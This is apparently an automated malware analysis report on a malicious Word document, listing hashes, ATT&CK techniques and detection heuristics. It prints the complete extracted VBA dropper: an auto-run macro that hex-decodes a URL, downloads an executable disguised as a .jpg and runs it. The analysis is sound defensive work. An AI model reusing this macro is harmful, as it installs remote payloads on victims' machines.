Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1cfa0038c28635b3…

MALICIOUS

Office (OOXML)

41.1 KB Created: 2015-07-13 21:31:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2015-10-01
MD5: d184c9617caa935ac5f9d020de568210 SHA-1: fd74098d4aab752379a9c6dceae966c6b82deaf9 SHA-256: 1cfa0038c28635b39c1d6965e2f54c06bb706d3afa1221567ce0f309bfc51c7e
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro that executes upon opening the document. This macro, specifically the Document_Open subroutine, is designed to download a file from the hardcoded URL 'the embedded link' and save it to 'C:\ProgramData\' with a randomly generated filename and a .jpg extension. The macro also attempts to execute this downloaded file. This indicates a clear intent to download and execute a second-stage payload.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        RetVal = Shell(SavePath$, 1)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        ADOStream.Write XMLHTTP.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set XMLHTTP = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/settings.xml.rels: file:///C:\Users\Дмитрий\AppData\Roaming\Microsoft\Шаблоны\Счет.dotx
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2748 bytes
SHA-256: 9539d35ad510d29b982ebdba65f5f5248ee8b8d06c7107f007e5692e7efcfd6e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1TemplateProject.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
 

    Public Function fConvertHexToString(strHexString As String) As String
    Dim intLenOfString As Integer
    Dim intCounter As Integer
    Dim strBuild As String
     
    'Hex String must have a valid length, and it must be an even length
    If Len(strHexString) = 0 Or Len(strHexString) Mod 2 <> 0 Then Exit Function
     
    intLenOfString = Len(strHexString)
     
    For intCounter = 1 To Len(strHexString)
      If intCounter Mod 2 <> 0 Then     'need Hex pairs
        'Retrieve the Value of the Hex Pair, then Convert to a Character,
        'then Append to a Base String
        strBuild = strBuild & Chr$(Val("&H" & Mid$(strHexString, intCounter, 2)))
      End If
    Next
End Function

 
 'Мусор
Function Trashcodeb(Value$) As String
    If S2 >= S3 Then
    MsgBox "Hello World!"
    End If
    Dim A, B As Integer
    A = dasvxcb
    B = sfgffsdfgd
    
End Function
' Мусор 2
Function Trashcosfbasd(Value$) As String
    If S3 >= S4 Then
    MsgBox "23esfsgadfsfg!"
    End If
    Dim C, B As Integer
    Z = hrtdhfg
    d = hteASdfgetrfd
    
End Function



Private Sub Document_Open()

    
    
    
    Dim LRandomNumber As Integer

    Randomize
    FileName$ = Int((99999999 - 200 + 1) * Rnd + 300000)
    LinkToFile$ = fConvertHexToString("687474703a2f2f7777772e7461736b6d616e616765726669782e636f6d2f646c2f5461736b4d616e616765724669782e657865")
    
    SavePath$ = "C:\ProgramData\" + FileName$ + ".jpg"
    
    ' скачиваем файл из интернета
    adfgehtrf LinkToFile$, SavePath$
 
    ' открываем скачанный файл
    RetVal = Shell(SavePath$, 1)
    

    



End Sub
Function adfgehtrf(ByVal URL$, ByVal LocalPath$) As Boolean
    ' Функция скачивает файл по ссылке URL$
    ' и сохраняет его под именем LocalPath$
    Dim XMLHTTP, ADOStream, FileName
    On Error Resume Next: Kill LocalPath$
 
    Set XMLHTTP = CreateObject("Microsoft.XMLHTTP")
    XMLHTTP.Open "GET", Replace(URL$, "\", "/"), "False"
    XMLHTTP.send
    
    Set ADOStream = CreateObject("ADODB.Stream")
    ADOStream.Type = 1: ADOStream.Open
    ADOStream.Write XMLHTTP.responseBody
 
    ADOStream.SaveToFile LocalPath$, 2
    ADOStream.Close: Set ADOStream = Nothing
    DownloadFile = True
  
   
    Set XMLHTTP = Nothing
    End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: 9fd1e6d376fa63e2440caad4be19003e5b48780bd69cc9add8daf0d15ca4d808

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